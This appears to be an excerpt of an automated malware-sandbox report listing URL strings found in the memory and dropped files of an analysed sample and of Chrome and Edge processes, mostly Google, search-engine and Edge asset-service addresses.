Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000007.00000002.2431212954.000001904B971000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238634199.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000002.00000003.2247540363.000012240319C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2440902129.00007BCC0017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000002.00000003.2247517833.0000122402E94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247494229.0000122402538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242015651.0000122402EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238827993.0000122402E94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241251606.0000122403058000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239442935.0000122402E94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2255958411.0000122402EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247540363.000012240319C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000007.00000002.2440902129.00007BCC0017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000002.00000003.2221940054.00002D58002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2221984919.00002D58002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000002.00000003.2232535562.00001224026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2438508848.00007BCC00040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000002.00000003.2270669118.00001224037F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000002.00000003.2270669118.00001224037F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: file.exe, file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2606057339.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2165259580.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
